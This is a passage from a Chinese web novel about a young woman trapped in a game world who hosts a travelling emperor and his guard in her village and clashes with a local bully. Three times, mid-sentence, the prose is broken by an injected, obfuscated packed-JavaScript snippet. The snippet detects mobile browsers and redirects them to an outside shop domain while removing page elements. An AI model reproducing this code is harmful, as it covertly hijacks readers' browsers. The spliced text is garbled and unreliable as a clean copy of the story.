先皇驾崩,昝浮生登基,年二十,改年号咸安。皇帝一心为民,励精图治,专于朝政,登基二载,未尝纳一妃,群臣惧宗庙无继,力谏之,帝曰:当以社稷为重。终不从。 时人皆称:“翩翩揽浮沉,徐徐渡苍生”。 * 如今已是咸安四年。 奖励道具【皇帝的召见】生效倒计时一分五十五秒。 祝涞:“能不能撤销?” 系统:“不行,道具一旦激活不可以撤销的。” 祝涞几乎要跳起来:“那不是你们擅自激活的吗?” 倒计时一分四十秒。 祝涞又问:“他为什么要见我?” “昨天那把扇传到皇上那了啊。”系统跟她解释。 祝涞皱了下眉:“他想干什么?让我再写一些?” 系统:“皇帝赏识你的书法才能,想封你为秘书郎。” 那就是直接晋升当官了? 虽是正合她意,可眼下她才二十几级,各项数据都很低,宫中局限多,不如宫外来的自在,升级快。 倒计时五十四秒。 祝涞:“可以不去吗?” 系统机械地摇着鸟头——本来也是机械的:“也不行,这个道具是直接把你传送过去的,而且这个官虽小,普通人却很难当上的,都是一些达官贵族,皇帝也不是那么容易见的,你为什么不想去?” 祝涞:“我就是不想这么早去。” 倒计时十秒。 祝涞:“最后一个问题,可以拒绝吗?” 系统:“这个倒是可以。” 倒计时三秒。 祝涞:“那就行了,我要成为第一个拒绝皇帝的女人——” 倒计时结束,昝浮生和侍卫御竹毫无预兆地出现在祝涞面前。 三人面面相觑,都有点懵。 祝涞:“你不是说把我传过去吗?他怎么还过来了?”而且这皇帝看着比立绘好看多了,真人更有一种清冷和高岭之花的感觉,御竹也是一身正气,跟之前的NPC不是一个档次的。 系统:“应该是出现bug了吧。”它在心里默默用小本本记下。 那两人看不见系统,瞧着祝涞在一旁神神叨叨的,御竹先上前一步,手里的长剑挡在胸前,朝她作揖:“姑娘可是题扇之人?” 地方是换了个地方,剧情还是那个剧情…… 祝涞本想说我不是,我什么都不知道,可这借口也太拙劣了,一对质就能认出来,她认命:“正是在下。” 身后的昝浮生闻言终于动了下,他拂开御竹,动作柔和有力:“朕见你年纪尚小,却才识过人,有意封你为秘书郎中,你可愿意?” 祝涞坚定的摇头:“不愿意。” 莫名有点爽是怎么回事。 昝浮生微不可察地挑了下眉,片刻后问:“为何?” 祝涞:“民女尚且无意步入官府。”不代表以后无意。 昝浮生也不为难,点了点头,示意他知道了。 “皇上来此微服私访,体察民情,望姑娘莫要声张。”御竹站在一旁,冷不丁说道。 什么意思?还要留下来? 祝涞只能假笑:“如此甚好。” 算了,私访就私访呗,别耽误她进度就行。 她转身要走:“那民女先告辞了。” “等等,”御竹叫住她,“我们初来乍到,正缺个引荐人。” 傻子都能听出来这是要她当向导了。 祝涞苦笑,其实我也是个初来乍到的,但无奈她有游戏当中的记忆,也不能昧着良心。 祝涞略一点头:“清楚,明白。”她又突然想到什么,灵机一动,“敢问皇上下江南的身份是什么?” “京城客商。”御竹回道。 祝涞笑得像个奸商:“呵呵。甚好,甚好。” 御竹似乎并不在意祝涞变幻无常的脸色,他朝前伸出一只手:“那就劳驾姑娘带路了。” “行。”祝涞在前面一蹦一跳的,丝毫没注意到身后两人交换了个眼神,遂变得警惕的神情。 * “二雪!”祝涞带着他们回到自己家,这就是个小村庄,并未设有客栈,好在系统给她配的房子够大,有两间房,祝涞想着暂且让他们住这。 二雪一听声音赶紧跑出来,冲着她使劲摇尾巴,一边蹭着她的腿,一边打量着两个“不速之客”。 祝涞摸摸它的狗头,又领他们往里面走。 “周围并无客栈,你们住这,”祝涞指着空着的那间房,“可以吗?” 御竹朝里看了两眼,出来后向昝浮生拱了拱手:“殿下,附近暂无邸店,此地虽可避身,但祝姑娘为女儿身,臣怕有不妥。” 昝浮生看着祝涞一脸无所谓的样子,轻轻摆了下手:“无妨。”他走到中堂的椅子上坐下,“但对外称,朕因奔波劳累,身体欠佳,来此地休养片日即可。” 祝涞总觉得他有种轻飘飘的感觉,不像是掌管朝政的皇帝,倒像是淡泊名利的隐士。 御竹执意要睡在外面歇凉的竹床上,祝涞拗不过他,便同意了,况且马上到夏天,也冷不死。 “民女有事在身,先行一步,二位自便。”祝涞把他俩安置好就要往门外走。 还没走两步,身后窸窸窣窣一股动静,祝涞以为是二雪,正想警告它不要跟来,猛地一回头,看见两个大男人。 不是,她还要做任务,这俩往旁边一杵,不知道的还以为是哪里来的游山玩水的富家公子小姐呢。 呃,小姐就算了,她一身粗衣麻裤,看着也不像。 祝涞的不满没敢写在脸上,她努力憋出一个微笑,差点憋出内伤:“还有什么事吗?” 文言文我不想说了。 “殿下想先四处走走。” “哦——行,那你们走吧。”别跟着我就行。 结果没走几步,她再一回头,那俩又跟上来了,祝涞加快脚步,往右一拐,正当她觉得自己应该甩掉他们几条街的时候,她喘着粗气乍一回头——两人脸不红心不跳,离她不到十米远。 没完没了了是吧?!专逮着我跟!!! 祝涞也不管他们了,反正也看不见系统,权当是背景板。 她刚拿出地图,御竹不知从哪凑过来看,他微微瞪大了眼:“此乃姑娘亲自绘之?” 这地图画得这么精细,她可没这个实力,倒是她爷爷…… 祝涞不想细想,她来这已经好几天了,第一次想起虚拟以外的事,这让她觉得割裂。 “不,偶然得到的。”祝涞愣了一下才说,她将地图往上移了一点,给他指方位。 “这儿是前塘村,也就是我们所在的地方,”祝涞圈画着地图上的一片区域,“左边是杏花村,右边是回南村,两边隔得都不远,往这跨个桥再走几公里就到了……” 御竹在一旁耐心地听祝涞讲,突然被人轻轻推了一把,御竹回头一看,来人不是别人,正是他家主子。 只见他家主子白衣飘飘,面若冠玉,神采俊逸,又一副淡淡的样子,恍若刚刚的举动不是他做的一样。 御竹:……你清高。 祝涞抬头一看,昝浮生对着地图微抬下巴,又侧脸看她。 措不及防地对视上,祝涞微微一愣,她胡乱在地图上划两下:“你刚刚怎么不过来听,害我又要重讲一遍。” “这里,是前塘村,也就是……” 祝涞跟他俩足足讲了十分钟,还顺带把每个村的地貌和风土人情讲了一遍——其实大差不差。 趁着他俩还在研究地图,祝涞以上厕所为由跑走了,闹市在三个村的中央,离这不远,还没到中午,她一边赶去买月饼,一边问系统:“他们是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854605|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你故意放出来拖延我的?还说是bug是吧?” 祝涞想着要是系统承认了就给它鸟头拧下来。 系统冤枉道:“真不是,我也没想到他们会留下来。” 为了更好地进行试运行,祝涞带的系统并不是全知的,有些剧情它也不清楚。 祝涞:“暂且信你,不过作为补偿,你得告诉我,还有哪里赢的货币和经验多点。” 系统也不知道哪里欠她的了,但祝涞向来霸道,它还是说:“宁息镇,伍小钊。” 宁息镇算跨挺远的了,这里的任务做得差不多了,想要更多经验,就得去各地转几圈。 不过祝涞总觉得,这个宁息镇不会像名字那样,宁静安息。 * 买完月饼回来时,那两人已经不看地图了,百无聊赖地靠在路边等祝涞回来。 阳光直照万物,热得她满头大汗。 祝涞:“咳咳,抱歉,去得有点久了,”她把地图收起前,看了眼宁息镇的位置,“你们饿不饿,要不要吃点东西?” 御竹没说话,毕恭毕敬地看着昝浮生。 昝浮生看着祝涞,略微颔首。 “行,我带你们过去。”祝涞想着还能一举两得。 片刻后,她傻眼了——她把月饼偷偷给了店小二后,店小二就跑去外面,从架子上拿了坛酒放桌上,等到祝涞出来,那坛酒已经和御竹拿下来的两坛混在了一起,根本分不清哪坛是好酒,哪坛是酸酒。 昝浮生和御竹也去上了个厕所,回来就看见祝涞傻站那不动了。 “姑娘怎么了?”御竹擦干手,准备拿起其中一坛往碗里倒。 “欸——且慢,”祝涞连忙阻止,她顺着御竹的手往上推,“这个店家酒品不好,我们去别处。” 御竹满脸疑惑:“既是酒品差,姑娘先前又为何带我们来此处?” 祝涞这下说也不是,不说也不是,她头一铁:“反正这家不行,我们先走吧。”大不了她再去买个月饼,又不贵。 “汝缘何出此言?”一个威风凛凛,五大三粗的男人走出来,若不是他手里端着两盘菜,祝涞差点以为哪来的武将。 “吾即店东,酒肴倘有差池,但唤某来!”他把东西重重地放在桌上,又掀开门帘走了。 祝涞一拍脑袋:“哎呀!瞧我这记性,”她在昝浮生旁边坐下,“我记错了,呵呵,酒品不好的不是这家,搞混淆了。” 昝浮生抬眼看了眼祝涞,她的一只手正握在一坛酒的边缘,微微有些抖,那样子活像给人下了毒又心虚,他缓缓移开眼:“无妨。” 祝涞看他要去倒手里的酒,往回拉了一下,又默默松开手,一副视死如归的样子。 希望是好酒。 待昝浮生喝了两口后,御竹也拿过一旁的酒壶倒了碗酒,祝涞看着他俩面色不改,心生疑问:怎么?难道她把月饼给了店小二之后,酒就自动变成了好酒? 她就近拿了坛酒倒进碗里,刚喝一口就吐了出来,那味道难喝至极,苦涩,还夹杂着一股食物腐败的气味,像馊了的米饭。 那俩怎么喝下去的?该不会那两坛才是好酒吧?御竹误打误撞选到了一坛? 祝涞拿过御竹面前的酒,重新倒了一碗,刚进嘴又吐了出来,御竹的舌头没毛病吧?! “姑娘你……你没事吧?”御竹问她。 祝涞在御竹两次面露惊讶之下作势要去拿昝浮生前面的酒,然而她拿过来时,酒坛里已经空空如也,那坛酒只剩半碗了,躺在昝浮生的碗里。 她看着昝浮生夷然自若,行若无事,不信邪地把他碗里的酒取过来,一饮而尽。 叮! 「完成【清明时节雨纷纷】任务」 「奖励:【还魂丹】x1 等级经验+3000 解锁:【成长】功能」 她还没从完成任务的喜悦中反应过来,就看到两双不可思议的眼睛,正直直地看着她…… 她刚刚都干了什么?! 5. 第五回 我说我不是故意的你信么? 祝涞自己都不信,她强装镇定,找借口道:“你那碗看着好喝点。” 确实好喝,有股淡淡的酒香。 昝浮生想说点什么,但最后又什么都没说。 御竹见主子没说话,自然跟着闭了嘴,安静地吃饭。 三人就这样兀自吃了一会,御竹肚子不合时宜地叫起来,他脸色有些难看,单手捂着肚子向昝浮生禀报:“属下身体告恙,先行离开片刻。” 昝浮生刚一点头,御竹马不停蹄地跑了。 这下桌上只剩他们两个人,气氛略微尴尬。 “他可能要跑好几趟了。”祝涞在心里为他默哀,幸好不是昝浮生喝到酸酒,否则告她谋杀,她有八张嘴都解释不清。 “你早知这酒有问题?”昝浮生问她,眼神却没有探究的意味。 “没有没有,是我听说这儿的酒味道独特,想带你们来尝尝,”祝涞一本正经地胡说八道,“而且吧,这喝不惯的人呢,就容易腹泻,酒肯定是没问题的,还得看人。” 御竹拉肚子了,剩下他们两个手无缚鸡之力的人,再被老板听到蛐蛐他的酒,指不定以为是故意来找茬的,给他俩来个飞踢就不好了。 祝涞还在脑补两人飞出去的场面,低头拨着饭菜没动筷。 昝浮生端着手里的小酒杯,那儿还有半杯跟碗里一样的酒,他目光下落,轻轻晃了晃,迟迟没有下一步动作。 “哎哟。”御竹已经第三次发出这个感叹词,可能是自己也觉得丢人,第四次的时候就强装没事人了。 祝涞看着两人也不吃了,她也赶着去做任务:“那就先这样吧,小二,来结账!” 游戏任务其实不收钱,她还是给了一些,怕露馅。 * “你们要去添置些衣物吗?”祝涞想着他们貌似只带了两个包袱过来。 奖励给的衣服也有男装,就是不知道他们穿不穿得了。 “我家有些,等你们回去看看,不行再买。” 他们肯定有钱,但是后面有大用处,先能省一点是一点。 “那就多谢姑娘了。”御竹的脸色苍白,声音却丝毫不抖。 “你们奔波几天也累了吧?先回去歇一会,等明天有时间再带你们逛逛。”祝涞说。 昝浮生淡淡地点了点头,转身就走,御竹看着祝涞,冲她抱拳,就差说出“大恩不言谢”五个字。 终于走了。 她昨天做完任务才到25级,这样下去80级要等到猴年马月。 祝涞思前想后,最后的结论是苍蝇腿再小也是肉,她把前塘村的任务都刷完后,就开始做回南村的任务。 祝涞跟着地图走到任务地点。 [普通任务:初出茅庐] [任务背景:回南村的焦言是方圆十里出名的画家,名下弟子一百来号人。有些百姓为了让子女多些才艺,纷纷把孩子送进画院。但是画院名额有限,必须通过当场考核才能进去] [任务目标:帮助娄吉成功通过考核] [任务奖励]:【普通毫笔】x10 【糖人】x5 等级经验+1500 书画经验+300 娄吉在杏花村,是村长娄庆年的儿子,画了好几年了,仍是水平低下,没有长进,也可以说是没有丁点天赋。 焦言带出来的画师不说每个,大多也是小有所成,这更坚定了娄吉要进画院的决心,二老也支持他,让他不用在意外面的流言蜚语。 娄吉很是努力,画的画数不胜数,外人看来的鬼画符在娄父娄母这就是名家珍画,每一幅都有好好保存。 祝涞记得当时这儿的任务就是玩一个画画的游戏,挺简单的,所以奖励也普通。 她在不远处往娄家门里看,那个约莫十四五岁的少年郎应该就是娄吉了,他很是专注地站在桌边画画,笔墨染了满身,脸上黑一块白一块,他擦了擦脸,汗水流个不停,他也画了一张又一张。 娄母过来给他扇风,让他进去,娄吉偏不从,说要融于自然万物,才能达到焦大师那样的水平。 祝涞突然就想起刚学书法的自己,也是那样的鲁莽,固执己见。 她擅长书法,却不怎么跟爷爷学画画,现在突然有些后悔没好好学了。 到哪里找一个会画画的人来教他呢? 祝涞一边想,一边竟不自觉回到了前塘村。 她先去了巧儿家里,寒暄了几句后就让巧儿给她做几件衣裳,又不经意说出大山“想买个手帕”的事。 “大山缺手帕,千真万确?怎的不来找侬?”巧儿拉住祝涞的手。 祝涞见她差不多信了,继续扯谎:“大概是不想麻烦你吧。” “怎会麻烦!”巧儿的脸色有些不好。 “侬听大山说,近来没有时间去买,或许要等到下月,”祝涞停了下才说,“不是马上要到大山生辰了么?” 巧儿思考了一会,又吩咐祝涞:“侬给大山做个手帕,汝莫要告诉他。” 巧儿还说要是真的,就不收她钱了。 “不会的,汝放心吧。”祝涞暗笑。 她又去到大山家,以做一个床为由说出同样的话术,成功的让大山给巧儿做起了木梳。 两边糊弄完后已是黄昏,祝涞轻快地踏着夕阳的余晕,感受迎面而来的舒爽的风。 * 二雪怏怏地趴在地上,系统落在院前的枣树上,它因为bug休整了一下午,现在好了些。 祝涞一脚还没踏进前院的门,二雪像往常一样跑来迎接她,御竹听到声响,也走了出来。 “姑娘还是大忙人。”御竹能打趣她了,看来已经好全了。 祝涞走进屋里,就见昝浮生正坐在中堂的桌前看书,那幅样子就像“世界的纷纷扰扰与我无关”和“两耳不闻窗外事,一心只读圣贤书”。 可他是当今皇帝,所以上述不成立。 “没你家殿下忙。”祝涞随意把斜跨的布包丢在一边,好奇地想去看昝浮生在看什么书。 昝浮生见她探头探脑好一阵,终于忍不住说:“若你想看,就过来。” 祝涞丝毫没有被看穿一切的局促感,她大大方方走过去,只见一整页的文言文。 果然,她现在一看文言文头就开始疼,祝涞叹着气正想退下,余光瞥见书底下压着几张纸。 于是她刚撤走的头又探了回去,甚至比之前离得更近。 她看不清,越凑越近,就在她的脸几乎要贴到书上去的时候,那书突然盖下来,还敲了一下她的头。 祝涞吃痛,跳起来摸自己的头,她指着一脸风淡云轻的昝浮生:“你干嘛打我?!” 昝浮生看都没看她一眼,把书往后翻了一页:“男女授受不亲。” 这句话别人说就算了,他一个皇帝,后宫不知道多少妃子,还跟她装纯! 祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854606|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涞撇嘴:“这话应该我来说。”她重重地揉着头。 昝浮生闻言看她,见她动作没停:“真有那样疼?” 其实也没有,她就是习惯性多揉几下,他这样一问,祝涞接着他的话说:“疼啊,我的头又不是铁做的。” “那吾下回轻些。”昝浮生又低头看书。 还有下回?! 御竹在旁边“扑哧”笑出声,祝涞回头看他,瞬间恼了:“你们蛇鼠一窝!” “此为何意?”御竹问她,“蛇吃鼠,姑娘的意思是——” 祝涞没想到他竟然不明白含义,也就不知道那是在骂他,这让她有种对牛弹琴的感觉。 “自己想去吧!” 祝涞一跺脚走了,留下一脸不明所以的御竹。 “殿下可知姑娘的话为何意?”御竹问道。 昝浮生想了下:“许是怨你取笑她。” 御竹:…… * 小任务完成后给了祝涞不少“菜”,她挑出几样看着好吃点的拿出来用,顺便补充一下生命值和体力值。 饭菜摆好后祝涞喊他们过去,又给二雪倒了一些,祝涞猫进中堂,昝浮生和御竹已经去了另一个屋吃饭,她走到桌前,想看一下那几张纸,却发现桌面被收拾得干干净净。 东西哪去了? 祝涞又蹲下来,在地上到处找,愣是没见一张纸。 她往后退了几步,刚想去里屋拿蜡烛,就撞上一个结实的胸膛,还隐隐传来一股清香。 “你可是在寻此物?”昝浮生扬起一卷纸,微微在祝涞面前抖开。 夜晚,只有外面泛白的月光透进来,一束光投在昝浮生下巴处,照得他整个人难易捉摸,高高在上,神圣不可侵犯的样子。 那东西祝涞完全看不清,她伸手去拿,昝浮生扬得更高些,祝涞够不到,就一只手攀着他的肩膀,另一只手去拽他。 昝浮生被她牛一样的力气弄得有些重心不稳,他节节后退,刚要把东西给她,又撞到后面的墙。 祝涞抱着他的脖子稳住身体,两人的身子挨在一起,温热的体温透过衣物传来,祝涞一惊,赶紧松手往后退了几步,还不忘把他手里的东西抢走。 …… “这是谁画的?”祝涞把刚得到的画展开给御竹看。 御竹放下筷子,拿过画仔细端详了一阵:“吾一睹便知乃是殿下所画,此等气韵常人未尝有。” 御竹跟个小迷弟一样看了半天,还不时啧啧称赞。 祝涞把画拿回来时,御竹还在恋恋不舍。 “你说这画是昝——陛下画的,他画画这么好吗?经常画吗?” “殿下能文能武,其文善于书画,作诗写文,其武长于射箭,骑马,各类兵器,像长矛……” “停,够了够了,”祝涞觉得再不阻止他,他能说到半夜,“现在还画么?” 御竹十分不解的样子:“姑娘既得这画,又为何不亲自去问殿下?” 她倒是想问,可刚刚是她先跑走了,这会就回去问他不太好,祝涞卷起画,手触碰到将将挨过的地方,她想起皮肤接触的热度,脸微微有些发烫。 “时候不早了,我明天再问吧,晚安。”祝涞着急忙慌跑回屋里,途中还碰到刚出来的昝浮生,祝涞没敢看他,擦肩走过。 昝浮生一直看着她的背影消失在门后,才转过身往屋外走。 才认识一天,撩拨人的本事倒是大有长进。 6. 第六回 是夜,祝涞在床上辗转反侧,她复盘总结完后,就开始思考接下来的计划和行程。 夜里太闷,窗户打得很开,风吹得门扇咯吱叫,祝涞不胜其扰,她起身去把窗户关上,突然听到外面有人说话,祝涞侧着耳朵靠过去听。 那几人离得有些远,声音又很小,就像在密谋着什么事,句子也很简短,祝涞压根没听懂在讲什么,她正想干脆去门缝里听,就听到了一个有些熟悉的声音。 是御竹。 皇帝和侍卫御竹的剧情在游戏里很少,至少她那条线是,明争暗斗只存在“一人之下,万人之上”的万人当中,皇帝只在最后要通关的时候出现几次,其它时候都在别人的描述或者下达命令里。 他们对于祝涞而言是神秘的,任务不论大小她好歹有些经验,这却让她一头雾水。 直觉告诉她,这也许不是单纯的系统bug。 * 祝涞回到床上没两下就睡着了。 第二天清晨,买回来的那头公鸡死命地叫,还挺有规律,每隔五分钟叫一次,简直就是一个行走的闹钟。 祝涞想,今晚有必要做个鸡汤了。 她拿枕头盖住耳朵,正要入睡时,系统“哐哐”两下从窗口跌跌撞撞飞进来。 “能不能让人睡觉了!”祝涞昨晚偷听了好一会,虽然什么没听到,但极大地影响到了她睡眠质量,早上又被叨扰,她刀鸟的心都有了。 “岌岌可危”的系统没意识到自己性命不保,它冲到祝涞面前,飞快地抖动翅膀:“大事不好了!001!” “有屁快放!”祝涞躺床上闭着眼睛说。 系统站她床边,确保是一个安全的距离后才说:“刀良过来了!还带着一大批人!” 祝涞不满地啧了声:“跟我有毛关系,别打扰我睡觉。” 系统急得团团转:“刀良!你忘了?那个恶霸!” “刀良”这个名字,就算系统念一百遍,祝涞也想不起来是谁,它一说“恶霸”,祝涞立马来了精神:“刀疤?” 刀良脸上有条宽而长的疤,从左边额头一直延伸到右边的下颚,横跨半张脸,凶神恶煞,关键人也虎背熊腰的,走起路来杀气腾腾,像个刽子手。 当地人都喊他“刀疤”,也很怕他。 “他来干什么?”祝涞问系统,“我还没去那边做任务吧?” 祝涞当时用武力解决了,偏偏这时候她还没来得及到【成长】功能里面学习技能。 “这不是那个任务,”系统说,“我听村民说有人偷了刀良的东西。” “谁?” 系统用机械翅膀虚掩了一下鸟头,摇头说:“大山。” “你说谁?”祝涞想着自己应该在做梦吧,要不倒回去重新睡?她往前移,一把抓住系统,“你没听错吧?真是大山?” “千真万确,”系统挣脱了一下,没挣开,“你不信自己去看。” 祝涞静静呆坐了会,之前的剧情就是两人互送完礼物就表白了,根本没别的事。 系统见她失神,小心翼翼地往上爬,终于飞出她的手掌心。 片刻后,祝涞一把拿起外衣套上,刚打开门,就见御竹正靠在大门口,往外看的头转过来看她,祝涞再往左边看,只见昝浮生端坐在书桌前,慢悠悠地喝茶。 两人衣冠整洁,干净如初。 “想不到姑娘竟这样随性,真是令人刮目相看。”御竹对她说。 祝涞又看看自己,蓬头垢面,邋里邋遢。 强烈的反差。 没有对比就没有伤害,祝涞对身外之物比较随意,加上在村里,大家穿得差不多,她穷酸的样子没有很好地凸显出来。 祝涞觉得有必要让他俩也穿穿系统给的衣服了。 “咳咳,我平时不这样,”祝涞理了理头发,将它扎好,“今天有急事,我得赶紧出门一趟。” “何事让姑娘这么着急?”御竹走近,似乎很关切。 祝涞抬头看他:“昨夜听见二雪叫了几声,想必有贼人出没。” 御竹一脸疑惑:“是么?吾素眠浅,未闻昨夜有风声,姑娘可是听错了?” 他一个侍卫,有危险怎么可能没意识到,而且那个声音……祝涞盯着他看了好一会,难道是系统bug的原因,导致他的敏锐度下降了?还是说他在装给她看? 祝涞没多想,总之根据之前的经验,他们不会伤害她,眼下救大山要紧。 “我出去看看鸡有没有少。”祝涞说着就要走,御竹没跟过来。 祝涞倒是想让他跟,毕竟她一个人对付不了刀疤那群人。 她走到院子里时,那只公鸡又莫名其妙叫了几声。 等回来就把你宰了! * 祝涞来到村北头,那边靠近闹市,此刻有不少人围在那,村民指指点点一番,又不时哀叹起来。 她拨开人群往里面走,中间同样围着一批人,只不过那些人没说话,绷着个脸,祝涞一眼就看到他们押着的那人。 还真是大山。 大山没什么表情,看不出来害不害怕,他对着乡亲们说:“俺没有偷东西,那就是俺在路上捡的,觉着好看,没有偷!” 他左边的人把一块模样精美的玉佩拿出来,展示给村民看:“都看好了,这是俺家大哥的贴身之物,片刻不离身,只在睡觉时卸下,怎地会掉在你们前塘村的牙山上!” 刀疤那伙人是宁息镇后边的翕山霸主,算是一群地痞流氓了,有人倘若要经过那边,就要给他们买路钱,否则就不给过。 众百姓苦他久矣,却没有一个人敢与之对抗,他们人多,还个个有家伙,硬碰硬不是你死就是我伤,所以这边百姓都尽量不去招惹他们。 但架不住人家要找茬。 “没想到大山竟是这样的人!”“真是令人大失所望!”“侬不信,别听风就是雨。”“……” 质疑的声音越来越大,祝涞正想着要不要干脆直接把道具用了,给这些人一个教训。 “大山不是这样的人!”一个响亮的声音在人群中扩散开来,铿锵有力。 巧儿站到大山前面:“汝等与大山相处甚久,岂能不知他的为人?!” 巧儿的声音有一丝颤抖,可她还是坚持说:“大山的品行汝等心知肚明,”她指着其中一个村民,“昔日汝伤及腿脚,行动不便,大山听闻此事,特制拐杖赠与汝,分文不取,汝岂忘耶?” 那人刚还在叽叽喳喳叫唤,此刻突然不出声了,低压着头。 她接连数落了好几个人,那几人终于有所反应,纷纷要求他们放了大山,说大山才不会干这种事。 “此乃汝等栽赃嫁祸!”有人说。 那帮无赖才不理会他们的话,还想把煽动情绪的巧儿一并抓起来。 “汝言俺栽赃陷害,证据何在?”刀疤拿过手下手里的玉佩,将它挂在腰上,他抖了下身上的披肩,蛇蝎一样的目光盯着众人,“俺们有,汝等却没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854607|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他走到大山旁边,身后的两人把大山的两手收紧,又一脚踹倒在地,刀疤的一条腿踩在大山的背上,手肘撑着膝盖,恶狠狠地往下一压——大山整张脸砸向地面,有血开始渗出。 “大山!” 巧儿说着就要往前跑,祝涞在后面拉住她:“你冷静一点!” “侬不能…不能眼看着大山被这样……”刚刚坚强的巧儿突然变得脆弱,她流着眼泪,却什么也做不了。 “俺们也不难为汝等,只需交出粮三十斛,布十匹,此事便揭过不提。”刀疤人不如其名,一点都不纯良,毫无良心可言。 村民们骚动着,他们虽大多能三餐吃上饭,可有富余的人家几乎没有,凑够三十斤的粮食能要几家人的小命了。 祝涞一边拉着巧儿,一边喊系统过来用道具。 “何人在此地猖狂?” 正义凛然的嗓音让众人噤了声,纷纷往声音源头看去。 御竹过来时身边的人自动分开,他找到祝涞,见她没事后,才往里面走。 御竹气宇不凡,一看就不是本地人,那伙人没太敢动粗,倒是刀疤抢先开口:“汝眼睛放亮些,休要多管闲事!” 大山还被他用脚压在地下,此刻身子一软,重重倒了下去。 巧儿再忍不住,她往那边跑去,将大山拖起来。 …… “此即你所言之——寻鸡?”昝浮生从祝涞身后过来,问道。 祝涞后背一凉,愣了会后才说:“我听到这边有动静,好奇就过来看看。” 昝浮生看了眼被御竹打倒的那群人,又转过头来问:“那二人与你,是何关系?” 祝涞:“朋友。” 是NPC,也是朋友。 昝浮生没再盘问她,等到御竹将他们都收拾完后,才跟着祝涞后面往里边走。 “公子,属下已将歹徒制服。”御竹拱手禀报。 昝浮生在外的身份是富家公子哥,世代从商,御竹依然是侍卫。 一群人乌泱泱地躺在地上,个个奄奄一息,但又不会真的要命,刀疤被打的最狠,脸上还有一条细细的血痕,跟之前的疤呈轴对称,像个大大的“叉”。 村民喊着大快人心,有几个人还将大山抬走了,巧儿过来,向他们深深鞠了个躬,又跟着他们后面走了。 祝涞看着巧儿离开,若有所思。 “姑娘,”御竹喊她,“这些人你打算怎么处置?” 御竹交叠着手看她,似乎并不在意那些人的死活。 “自生自灭吧。”祝涞说。 游戏里把他们打倒之后就再也没出现过,也算某种意义的死去。 等等,如果他们死了,那个任务算不算完成? 祝涞的眼里闪过一丝杀意,却下不了手。 * 昝浮生回来后就开始看书,御竹在外面练武,仿佛刚才没打够似的。 祝涞在心里给他点了个大大的赞,还把【成长】功能的习武计划延后了,说不定可以先让御竹教她。 她踱步到昝浮生旁边,看见他手边放着昨晚的画。 “你画的?”祝涞指着画对他说。 昝浮生微微点头:“怎么?” “那个,你有没有想过教教别人?毕竟你画得这么好。” “你想让吾教你?”他看了祝涞一眼。 祝涞正要摇头。 “惟你,吾可教之,他人不可。”昝浮生声音温和。 7. 第七回 “为什么?” 昝浮生看了她好半晌,眼里的意味不明,他将手里的书放正:“顺眼。” 这算什么理由?合着他看别人都不顺眼? 祝涞明白没有商讨的余地,但她还是搞不清楚,他为什么不能教别人。 该不会有什么独家宝典?觉得她还算有资质,打算传给她? 祝涞在旁边脑补了好一段场景,就在她几乎要成为书画名家的时候,昝浮生戳她:“可是你要学?” 祝涞回神,连忙说:“是我是我。” “作为交换,你要教吾书法。”昝浮生说。 原来在这等她呢! “你书法不是挺好的么?”祝涞想起御竹说的话,“还用我教?” “有所不同。”昝浮生半压着眼看她。 他一向给人疏离冷漠的感觉,祝涞也不甚在意。 “什么不同?”祝涞问。 昝浮生没回答她,也问:“你可同意?” “可以。” 祝涞想了会,又说:“不过你得先教我,等我学会了,我再教你书法。” 昝浮生点头:“嗯。” 趁热打铁,祝涞走过去,在他身边站好。 “好了,你开始教吧。”祝涞说着要拿过桌上的纸。 纸有了,笔倒是没看见,祝涞翻翻找找:“你没带笔?” “丢了。”昝浮生眼睛都没眨一下。 祝涞问:“什么时候?” “不知。” 怪不得只看见过他看书,原来是笔丢了。 “行吧,那我先出去买两支。”祝涞往门外走了两步,又回头嘱咐他,“你别乱走,等我回来。” 昝浮生点了两下头。 待祝涞走远,御竹已经练好了剑术,他用手帕擦着脖子走进来:“姑娘去何处了?如此急切?” 昝浮生听到“急切”两个字的时候睫毛微微颤了颤,他回道:“买笔。” “笔?”御竹满脸疑惑,“殿下不是带了笔么?” “吾说丢了。” 丢了?御竹往外看了下,四处寂静,只有二雪偶尔追着公鸡跑的打闹声。 御竹了然,他走出去,让躲在屋侧的人进来。 “回禀陛下,那干人已调查清楚,捉拿归案。确与半年前的草庄案件有干系。” 来人是慎庐,扶嵊县的县令,负责辖区内的各大案件。 昝浮生问:“还有何线索?” “彼等言,此乃曹坊指使,不得已而为之,彼等实不知情,乞释之。” “纯属妄言!”御竹一激动,声音大了些。 